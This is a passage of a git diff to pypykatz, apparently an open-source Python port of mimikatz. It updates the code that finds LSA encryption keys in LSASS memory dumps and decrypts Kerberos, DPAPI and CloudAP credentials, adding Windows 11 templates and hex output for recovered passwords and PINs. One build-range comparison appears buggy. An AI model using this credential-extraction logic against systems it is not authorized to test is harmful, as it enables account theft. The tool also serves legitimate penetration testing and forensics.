+					logger.info('Parsing file %s' % filename)
 					try:
 						if args.kerberos_dir is not None and 'all' not in args.packages:
 							args.packages.append('ktickets')
@@ -216,14 +228,14 @@ class LSACMDHelper:
 							raise Exception('Error in modules!')
 					except Exception as e:
 						files_with_error.append(filename)
-						logging.exception('Error parsing file %s ' % filename)
+						logger.exception('Error parsing file %s ' % filename)
 						if args.halt_on_error == True:
 							raise e
 						else:
 							pass
 					
 			else:
-				logging.info('Parsing file %s' % args.memoryfile)
+				logger.info('Parsing file %s' % args.memoryfile)
 				try:
 					if args.kerberos_dir is not None and 'all' not in args.packages:
 						args.packages.append('ktickets')
@@ -232,7 +244,7 @@ class LSACMDHelper:
 					if args.halt_on_error == True and len(mimi.errors) > 0:
 						raise Exception('Error in modules!')
 				except Exception as e:
-					logging.exception('Error while parsing file %s' % args.memoryfile)
+					logger.exception('Error while parsing file %s' % args.memoryfile)
 					if args.halt_on_error == True:
 						raise e
 					else:
diff --git a/pypykatz/lsadecryptor/lsa_decryptor_nt5.py b/pypykatz/lsadecryptor/lsa_decryptor_nt5.py
index b483c32..d1cb2e8 100644
--- a/pypykatz/lsadecryptor/lsa_decryptor_nt5.py
+++ b/pypykatz/lsadecryptor/lsa_decryptor_nt5.py
@@ -3,9 +3,8 @@
 # Author:
 #  Tamas Jos (@skelsec)
 #
-import io
-import logging
-from pypykatz.crypto.RC4 import RC4
+
+from unicrypto.symmetric import RC4
 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
 from pypykatz.commons.win_datatypes import LONG
 
@@ -88,7 +87,7 @@ class LsaDecryptor_NT5(PackageDecryptor):
 		self.log('Looking for main struct signature in memory...')
 		fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.signature)
 		if len(fl) == 0:
-			logging.debug('signature not found! %s' % self.decryptor_template.signature.hex())
+			self.logger.log('signature not found! %s' % self.decryptor_template.signature.hex())
 			raise Exception('LSA signature not found!')
 			
 		self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl))
diff --git a/pypykatz/lsadecryptor/lsa_decryptor_nt6.py b/pypykatz/lsadecryptor/lsa_decryptor_nt6.py
index 8c5009d..6e614b5 100644
--- a/pypykatz/lsadecryptor/lsa_decryptor_nt6.py
+++ b/pypykatz/lsadecryptor/lsa_decryptor_nt6.py
@@ -5,10 +5,10 @@
 #
 
 
+import traceback
 from pypykatz import logger
 from pypykatz.commons.common import hexdump
-from pypykatz.crypto.des import triple_des, CBC
-from pypykatz.crypto.aes import AESModeOfOperationCFB
+from unicrypto.symmetric import TDES, AES, MODE_CFB, MODE_CBC
 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
 
 class LsaDecryptor_NT6(PackageDecryptor):
@@ -52,9 +52,17 @@ class LsaDecryptor_NT6(PackageDecryptor):
 
 	def get_IV(self, pos):
 		self.log('Reading IV')
-		#print('Offset to IV: %s' % hex(self.decryptor_template.key_pattern.offset_to_IV_ptr))
+
+		#### TEST!!!!
+		#if hasattr(self.sysinfo, 'IV_OFFSET'):
+		#	ptr_iv = self.reader.get_ptr_with_offset(pos + self.sysinfo.IV_OFFSET)
+		#	self.reader.move(ptr_iv)
+		#	data = self.reader.read(self.decryptor_template.key_pattern.IV_length)
+		#	self.log('IV data: %s' % hexdump(data))
+		#	return data
+		
 		ptr_iv = self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr)
-		self.log('IV pointer takes us to 0x%08x' % ptr_iv)
+		#self.log('IV pointer takes us to 0x%08x' % ptr_iv)
 		self.reader.move(ptr_iv)
 		data = self.reader.read(self.decryptor_template.key_pattern.IV_length)
 		self.log('IV data: %s' % hexdump(data))
@@ -88,12 +96,12 @@ class LsaDecryptor_NT6(PackageDecryptor):
 			if size % 8:
 				if not self.aes_key or not self.iv:
 					return cleartext
-				cipher = AESModeOfOperationCFB(self.aes_key, iv = self.iv)
+				cipher = AES(self.aes_key, MODE_CFB, IV = self.iv, segment_size=128)
 				cleartext = cipher.decrypt(encrypted)
 			else:
 				if not self.des_key or not self.iv:
 					return cleartext
-				cipher = triple_des(self.des_key, CBC, self.iv[:8])
+				cipher = TDES(self.des_key, MODE_CBC, self.iv[:8])
 				cleartext = cipher.decrypt(encrypted)
 		return cleartext
 
diff --git a/pypykatz/lsadecryptor/lsa_template_nt6.py b/pypykatz/lsadecryptor/lsa_template_nt6.py
index 8503d8e..076ba09 100644
--- a/pypykatz/lsadecryptor/lsa_template_nt6.py
+++ b/pypykatz/lsadecryptor/lsa_template_nt6.py
@@ -57,94 +57,26 @@ class LsaTemplate_NT6(PackageTemplate):
 				template = templates['nt5']['x86']['1']
 				
 			elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
-				#1
 				template = templates['nt6']['x86']['1']
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 5
-				#key_pattern.offset_to_DES_key_ptr = -76
-				#key_pattern.offset_to_AES_key_ptr = -21
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 				
 			elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
-				#2
 				template = templates['nt6']['x86']['2']
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 5
-				#key_pattern.offset_to_DES_key_ptr = -76
-				#key_pattern.offset_to_AES_key_ptr = -21
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 				
 			elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
-				#3
 				template = templates['nt6']['x86']['3']
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 5
-				#key_pattern.offset_to_DES_key_ptr = -69
-				#key_pattern.offset_to_AES_key_ptr = -18
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY8
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 				
 			elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
-				#4
 				template = templates['nt6']['x86']['4']
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 5
-				#
-				#key_pattern.offset_to_DES_key_ptr = -69
-				#key_pattern.offset_to_AES_key_ptr = -18
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY81
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 				
 			elif WindowsMinBuild.WIN_10.value <= sysinfo.buildnumber <= WindowsBuild.WIN_10_1507.value:
-				#5
-				template = templates['nt6']['x86']['5']
-
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 5
-				#key_pattern.offset_to_DES_key_ptr = -79
-				#key_pattern.offset_to_AES_key_ptr = -22
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY81
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
+				template = templates['nt6']['x86']['5']				
 				
-				
-			elif sysinfo.buildnumber > WindowsBuild.WIN_10_1507.value:
-				#6
+			elif WindowsBuild.WIN_10_1507.value > sysinfo.buildnumber < WindowsBuild.WIN_10_1909.value:
 				template = templates['nt6']['x86']['6']
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 5
-				#key_pattern.offset_to_DES_key_ptr = -79
-				#key_pattern.offset_to_AES_key_ptr = -22
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY81
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
+			else:
+				template = templates['nt6']['x86']['7']
 		
 		elif sysinfo.architecture == KatzSystemArchitecture.X64:
-		
 			if sysinfo.buildnumber <= WindowsMinBuild.WIN_XP.value:
 				raise Exception("Maybe implemented later")
 			
@@ -153,92 +85,29 @@ class LsaTemplate_NT6(PackageTemplate):
 			
 			elif sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
 				#vista
-				#1
 				template = templates['nt6']['x64']['1']
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 63
-				#key_pattern.offset_to_DES_key_ptr = -69
-				#key_pattern.offset_to_AES_key_ptr = 25
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 		
 			elif sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
 				#win 7
-				#2
 				template = templates['nt6']['x64']['2']
-
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4c\x24\x48\x48\x8b\x0d'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 59
-				#key_pattern.offset_to_DES_key_ptr = -61
-				#key_pattern.offset_to_AES_key_ptr = 25
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 			
 			elif sysinfo.buildnumber < WindowsMinBuild.WIN_10.value:
 				#win 8 and blue
-				#3
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 62
-				#key_pattern.offset_to_DES_key_ptr = -70
-				#key_pattern.offset_to_AES_key_ptr = 23
-				
 				if sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
-					template = templates['nt6']['x64']['3']
-					#win8
-					#3
-					#template.key_pattern = key_pattern
-					#template.key_struct = KIWI_BCRYPT_KEY8
-					#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
-				
+					if sysinfo.msv_dll_timestamp < 0x60000000:
+						template = templates['nt6']['x64']['3']
+					else:
+						template = templates['nt6']['x64']['7']				
 				else:
 					template = templates['nt6']['x64']['4']
-					#4
 					#win blue
-					#template.key_pattern = key_pattern
-					#template.key_struct = KIWI_BCRYPT_KEY81
-					#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
-			
 			
 			elif sysinfo.buildnumber < WindowsBuild.WIN_10_1809.value:
-				template = templates['nt6']['x64']['5']
-				#5
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 61
-				#key_pattern.offset_to_DES_key_ptr = -73
-				#key_pattern.offset_to_AES_key_ptr = 16
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY81
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY				
-				
+				template = templates['nt6']['x64']['5']			
 				
 			#elif sysinfo.buildnumber <= WindowsBuild.WIN_10_1809.value:
 			else:
 				template = templates['nt6']['x64']['6']
-				#1809
-				#6
-				#key_pattern = LSADecyptorKeyPattern()
-				#key_pattern.signature = b'\x83\x64\x24\x30\x00\x48\x8d\x45\xe0\x44\x8b\x4d\xd8\x48\x8d\x15'
-				#key_pattern.IV_length = 16
-				#key_pattern.offset_to_IV_ptr = 67
-				#key_pattern.offset_to_DES_key_ptr = -89
-				#key_pattern.offset_to_AES_key_ptr = 16
-				#
-				#template.key_pattern = key_pattern
-				#template.key_struct = KIWI_BCRYPT_KEY81
-				#template.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 			
 		else:
 			raise Exception('Missing LSA decrpytor template for Architecture: %s , Build number %s' % (sysinfo.architecture, sysinfo.buildnumber))
@@ -312,7 +181,29 @@ class KIWI_BCRYPT_KEY81:
 		self.hardkey = KIWI_HARD_KEY(reader)
 		
 	def verify(self):
-		return self.tag == b'KSSM' 
+		return self.tag == b'KSSM'
+
+class KIWI_BCRYPT_KEY81_NEW:
+	def __init__(self, reader):
+		self.size = ULONG(reader).value
+		self.tag  = reader.read(4)	# 'MSSK'
+		self.type = ULONG(reader).value
+		self.unk0 = ULONG(reader).value
+		self.unk1 = ULONG(reader).value
+		self.unk2 = ULONG(reader).value 
+		self.unk3 = ULONG(reader).value
+		self.unk4 = ULONG(reader).value
+		reader.align()
+		self.unk5 = PVOID(reader).value	#before, align in x64
+		self.unk6 = ULONG(reader).value
+		self.unk7 = ULONG(reader).value
+		self.unk8 = ULONG(reader).value
+		self.unk9 = ULONG(reader).value
+		self.unk10 = ULONG(reader).value
+		self.hardkey = KIWI_HARD_KEY(reader)
+		
+	def verify(self):
+		return self.tag == b'KSSM'
 		
 
 class PKIWI_BCRYPT_KEY(POINTER):
@@ -381,7 +272,7 @@ class LSA_x64_4(LsaTemplate_NT6):
 		self.key_pattern.offset_to_AES_key_ptr = 23
 		
 		self.key_struct = KIWI_BCRYPT_KEY81
-		self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY				
+		self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 
 class LSA_x64_5(LsaTemplate_NT6):
 	def __init__(self):
@@ -409,6 +300,19 @@ class LSA_x64_6(LsaTemplate_NT6):
 		self.key_struct = KIWI_BCRYPT_KEY81
 		self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 
+class LSA_x64_7(LsaTemplate_NT6):
+	def __init__(self):
+		LsaTemplate_NT6.__init__(self)
+		self.key_pattern = LSADecyptorKeyPattern()
+		self.key_pattern.signature = b'\x83\x64\x24\x30\x00\x44\x8b\x4d\xd8\x48\x8b\x0d'
+		self.key_pattern.IV_length = 16
+		self.key_pattern.offset_to_IV_ptr = 58
+		self.key_pattern.offset_to_DES_key_ptr = -62
+		self.key_pattern.offset_to_AES_key_ptr = 23
+		
+		self.key_struct = KIWI_BCRYPT_KEY8
+		self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
+
 class LSA_x86_1(LsaTemplate_NT6):
 	def __init__(self):
 		LsaTemplate_NT6.__init__(self)
@@ -488,6 +392,19 @@ class LSA_x86_6(LsaTemplate_NT6):
 		self.key_struct = KIWI_BCRYPT_KEY81
 		self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 
+class LSA_x86_7(LsaTemplate_NT6):
+	def __init__(self):
+		LsaTemplate_NT6.__init__(self)
+
+		self.key_pattern = LSADecyptorKeyPattern()
+		self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
+		self.key_pattern.IV_length = 16
+		self.key_pattern.offset_to_IV_ptr = 5
+		self.key_pattern.offset_to_DES_key_ptr = -79
+		self.key_pattern.offset_to_AES_key_ptr = -22
+
+		self.key_struct = KIWI_BCRYPT_KEY81_NEW
+		self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
 
 
 templates = {
@@ -499,6 +416,7 @@ templates = {
 			'4' : LSA_x64_4(),
 			'5' : LSA_x64_5(),
 			'6' : LSA_x64_6(),
+			'7' : LSA_x64_7(),
 		},
 		'x86': {
 			'1' : LSA_x86_1(),
@@ -507,6 +425,7 @@ templates = {
 			'4' : LSA_x86_4(),
 			'5' : LSA_x86_5(),
 			'6' : LSA_x86_6(),
+			'7' : LSA_x86_7(),
 		}
 	}
 }
\ No newline at end of file
diff --git a/pypykatz/lsadecryptor/package_commons.py b/pypykatz/lsadecryptor/package_commons.py
index 1f73d6f..a66b191 100644
--- a/pypykatz/lsadecryptor/package_commons.py
+++ b/pypykatz/lsadecryptor/package_commons.py
@@ -5,7 +5,7 @@
 #
 
 from abc import ABC, abstractmethod
-import logging
+from pypykatz import logger
 from pypykatz.commons.common import hexdump
 from pypykatz.commons.win_datatypes import RTL_AVL_TABLE
 
@@ -14,7 +14,7 @@ class Logger:
 		self.package_name = package_name
 		self.module_name = module_name
 		self.sysinfo = sysinfo
-		self.logger = logging.getLogger('pypykatz')
+		self.logger = logger
 		
 	def get_level(self):
 		return self.logger.getEffectiveLevel()
@@ -61,14 +61,16 @@ class PackageDecryptor:
 	def log(self, msg, loglevel = 6):
 		self.logger.log('%s' % msg, loglevel)
 		
-	def find_signature(self, module_name, signature):
+	def find_signature(self, module_name, signature = None):
 		"""
 		Searches for a sequence of bytes in the module identified by module_name
 		"""
 		self.log('Searching for key struct signature')
-		fl = self.reader.find_in_module(module_name, self.decryptor_template.signature, find_first = True)
+		if signature is None:
+			signature = self.decryptor_template.signature
+		fl = self.reader.find_in_module(module_name, signature, find_first = True)
 		if len(fl) == 0:
-			raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex()))
+			raise Exception('Signature was not found in module %s Signature: %s' % (module_name, signature.hex()))
 		return fl[0]
 		
 	def log_ptr(self, ptr, name, datasize = None):
@@ -117,13 +119,13 @@ class PackageDecryptor:
 		if temp and len(temp) > 0:
 			if bytes_expected == False:
 				try: # normal password
-					dec_password = temp.decode('ascii')
+					dec_password = temp.decode('utf-16-le')
 				except: # machine password
 					try:
 						dec_password = temp.decode('utf-8')
 					except:
 						try:
-							dec_password = temp.decode('utf-16-le')
+							dec_password = temp.decode('ascii')
 						except:
 							dec_password = temp.hex()
 				else: # if not machine password, then check if we should trim it
@@ -132,7 +134,7 @@ class PackageDecryptor:
 			else:
 				dec_password = temp
 		
-		return dec_password
+		return dec_password, temp
 		
 	def walk_avl(self, node_ptr, result_ptr_list):
 		"""
diff --git a/pypykatz/lsadecryptor/packages/cloudap/decryptor.py b/pypykatz/lsadecryptor/packages/cloudap/decryptor.py
index 2fc3ea1..cd9e014 100644
--- a/pypykatz/lsadecryptor/packages/cloudap/decryptor.py
+++ b/pypykatz/lsadecryptor/packages/cloudap/decryptor.py
@@ -57,7 +57,7 @@ class CloudapDecryptor(PackageDecryptor):
 			cache = cloudap_entry.cacheEntry.read(self.reader)
 			cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','')
 			if cache.cbPRT != 0 and cache.PRT.value != 0:
-				temp = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True)
+				temp, raw_dec = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True)
 				try:
 					temp = temp.decode()
 				except:
@@ -69,8 +69,8 @@ class CloudapDecryptor(PackageDecryptor):
 				unk = cache.toDetermine.read(self.reader)
 				if unk is not None:
 					cred.key_guid = unk.guid.value
-					cred.dpapi_key = self.decrypt_password(unk.unk)
-					cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest()
+					cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk, bytes_expected = True)
+					cred.dpapi_key_sha1 = hashlib.sha1(cred.dpapi_key).hexdigest()
 
 			if cred.PRT is None and cred.key_guid is None:
 				return
diff --git a/pypykatz/lsadecryptor/packages/cloudap/templates.py b/pypykatz/lsadecryptor/packages/cloudap/templates.py
index 7369a0a..8eb4abc 100644
--- a/pypykatz/lsadecryptor/packages/cloudap/templates.py
+++ b/pypykatz/lsadecryptor/packages/cloudap/templates.py
@@ -16,7 +16,7 @@ class CloudapTemplate(PackageTemplate):
 			return None
 
 		if sysinfo.architecture == KatzSystemArchitecture.X64:
-			template.signature = b'\x44\x8b\x01\x44\x39\x42\x18\x75'
+			template.signature = b'\x44\x8b\x01\x44\x39\x42'
 			template.first_entry_offset = -9
 			template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY
 		
@@ -94,3 +94,26 @@ class KIWI_CLOUDAP_LOGON_LIST_ENTRY:
 		self.unk2 = DWORD64(reader)
 		self.unk3 = DWORD64(reader)
 		self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader)
+
+
+#### THIS IS FOR TESTING!!!
+class PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(POINTER):
+	def __init__(self, reader):
+		super().__init__(reader, KIWI_CLOUDAP_LOGON_LIST_ENTRY_11)
+
+class KIWI_CLOUDAP_LOGON_LIST_ENTRY_11:
+	def __init__(self, reader):
+		self.Flink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(reader)
+		self.Blink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(reader)
+		self.LocallyUniqueIdentifier = 1
+		reader.read(8*11)
+		#self.unk0 = DWORD(reader)
+		#self.unk1 = DWORD(reader)
+		#self.unk2 = DWORD(reader)
+		#reader.align()
+		#self.LocallyUniqueIdentifier = LUID(reader).value
+		#self.unk3 = DWORD64(reader)
+		#self.unk4 = DWORD64(reader)
+		#self.unk5 = DWORD64(reader)
+		#self.unk6 = DWORD64(reader)
+		self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader)
diff --git a/pypykatz/lsadecryptor/packages/dpapi/decryptor.py b/pypykatz/lsadecryptor/packages/dpapi/decryptor.py
index 0b74240..a89a690 100644
--- a/pypykatz/lsadecryptor/packages/dpapi/decryptor.py
+++ b/pypykatz/lsadecryptor/packages/dpapi/decryptor.py
@@ -50,9 +50,11 @@ class DpapiDecryptor(PackageDecryptor):
 		return ptr_entry, ptr_entry_loc
 		
 	def add_entry(self, dpapi_entry):
-		
+		if dpapi_entry.key is None:
+			return
+			
 		if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0:
-			dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
+			dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
 			sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest()
 			
 			c = DpapiCredential()
diff --git a/pypykatz/lsadecryptor/packages/dpapi/templates.py b/pypykatz/lsadecryptor/packages/dpapi/templates.py
index ca92eae..3821627 100644
--- a/pypykatz/lsadecryptor/packages/dpapi/templates.py
+++ b/pypykatz/lsadecryptor/packages/dpapi/templates.py
@@ -90,4 +90,7 @@ class KIWI_MASTERKEY_CACHE_ENTRY:
 		self.KeyUid = GUID(reader).value
 		self.insertTime = FILETIME(reader)
 		self.keySize = ULONG(reader).value
-		self.key = reader.read(self.keySize)
+		if self.keySize < 512:
+			self.key = reader.read(self.keySize)
+		else:
+			self.key = None
\ No newline at end of file
diff --git a/pypykatz/lsadecryptor/packages/kerberos/decryptor.py b/pypykatz/lsadecryptor/packages/kerberos/decryptor.py
index 46e414c..a02764b 100644
--- a/pypykatz/lsadecryptor/packages/kerberos/decryptor.py
+++ b/pypykatz/lsadecryptor/packages/kerberos/decryptor.py
@@ -3,8 +3,7 @@
 # Author:
 #  Tamas Jos (@skelsec)
 #
-import io
-
+from typing import List
 #from pypykatz.commons.common import *
 #from pypykatz.commons.filetime import *
 #from .templates import *
@@ -15,13 +14,15 @@ from pypykatz.commons.common import WindowsMinBuild
 
 class KerberosCredential:
 	def __init__(self):
-		self.credtype = 'kerberos'
-		self.username = None
-		self.password = None
-		self.domainname = None
-		self.luid = None
-		self.tickets = []
-		self.pin = None
+		self.credtype:str = 'kerberos'
+		self.username:str = None
+		self.password:str = None
+		self.password_raw:bytes = b''
+		self.domainname:str = None
+		self.luid:int = None
+		self.tickets:List[KerberosTicket] = []
+		self.pin:str = None
+		self.pin_raw:bytes = None
 		self.cardinfo = None
 		
 	def __str__(self):
@@ -30,8 +31,10 @@ class KerberosCredential:
 		t += '\t\tDomain: %s\n' % self.domainname
 		if self.password is not None:
 			t += '\t\tPassword: %s\n' % self.password
+			t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
 		if self.pin is not None:
 			t += '\t\tPIN: %s\n' % self.pin
+			t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex()
 		if self.cardinfo is not None:
 			t += '\t\tCARDINFO: \n'
 			t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName']
@@ -52,9 +55,11 @@ class KerberosCredential:
 		t['credtype'] = self.credtype
 		t['username'] = self.username
 		t['password'] = self.password
+		t['password_raw'] = self.password_raw
 		t['domainname'] = self.domainname
 		t['luid'] = self.luid
 		t['pin'] = self.pin
+		t['pin_raw'] = self.pin_raw
 		t['cardinfo'] = self.cardinfo
 		t['tickets'] = []
 		for ticket in self.tickets:
@@ -123,17 +128,18 @@ class KerberosDecryptor(PackageDecryptor):
 		
 		self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader)
 		self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader)
-		if self.current_cred.username.endswith('$') is True:
-			self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
-			if self.current_cred.password is not None:
-				self.current_cred.password = self.current_cred.password.hex()
-		else:
-			self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
+		#if self.current_cred.username.endswith('$') is True:
+		#	self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
+		#	if self.current_cred.password is not None:
+		#		self.current_cred.password = self.current_cred.password.hex()
+		#else:
+		#	self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
+		self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
 		
 		if kerberos_logon_session.SmartcardInfos.value != 0:
 			csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
 			pin_enc = csp_info.PinCode.read_maxdata(self.reader)
-			self.current_cred.pin = self.decrypt_password(pin_enc)
+			self.current_cred.pin, self.current_cred.pin_raw = self.decrypt_password(pin_enc)
 			if csp_info.CspDataLength != 0:
 				self.current_cred.cardinfo = csp_info.CspData.get_infos()
 
@@ -147,7 +153,7 @@ class KerberosDecryptor(PackageDecryptor):
 				### GOOD
 				#keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size)
 				#print(keydata_enc)
-				#keydata = self.decrypt_password(keydata_enc, bytes_expected=True)
+				#keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True)
 				#print(keydata_enc.hex())
 				#input('KEY?')
 
diff --git a/pypykatz/lsadecryptor/packages/kerberos/templates.py b/pypykatz/lsadecryptor/packages/kerberos/templates.py
index 0c27127..320b8aa 100644
--- a/pypykatz/lsadecryptor/packages/kerberos/templates.py
+++ b/pypykatz/lsadecryptor/packages/kerberos/templates.py
@@ -92,7 +92,7 @@ class KerberosTemplate(PackageTemplate):
 				template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
 				
 
-			elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
+			elif WindowsBuild.WIN_10_1607.value <= sysinfo.buildnumber < WindowsBuild.WIN_11_2022.value:
 				template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
 				template.first_entry_offset = 6
 				template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
@@ -101,6 +101,15 @@ class KerberosTemplate(PackageTemplate):
 				template.hash_password_struct = KERB_HASHPASSWORD_6_1607
 				template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
 			
+			elif sysinfo.buildnumber >= WindowsBuild.WIN_11_2022.value:
+				template.signature = b'\x48\x8b\x18\x48\x8d\x0d'
+				template.first_entry_offset = 6
+				template.kerberos_session_struct = KIWI_KERBEROS_LOGON_SESSION_10_1607
+				template.kerberos_ticket_struct = KIWI_KERBEROS_INTERNAL_TICKET_11
+				template.keys_list_struct = KIWI_KERBEROS_KEYS_LIST_6
+				template.hash_password_struct = KERB_HASHPASSWORD_6_1607
+				template.csp_info_struct = KIWI_KERBEROS_CSP_INFOS_10
+			
 			else:
 				raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
 			
@@ -909,6 +918,54 @@ class KIWI_KERBEROS_INTERNAL_TICKET_10:
 		reader.align()
 		self.Ticket = KIWI_KERBEROS_BUFFER(reader)
 
+class PKIWI_KERBEROS_INTERNAL_TICKET_11(POINTER):
+	def __init__(self, reader):
+		super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_11)
+
+		
+class KIWI_KERBEROS_INTERNAL_TICKET_11:
+	def __init__(self, reader):
+		#input('KIWI_KERBEROS_INTERNAL_TICKET_11\n' + hexdump(reader.peek(0x300)))
+		self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_11(reader)
+		self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_11(reader)
+		self.unk0 = PVOID(reader).value
+		self.unk1 = PVOID(reader).value
+		self.ServiceName = PKERB_EXTERNAL_NAME(reader)
+		self.TargetName = PKERB_EXTERNAL_NAME(reader)
+		self.DomainName = LSA_UNICODE_STRING(reader)
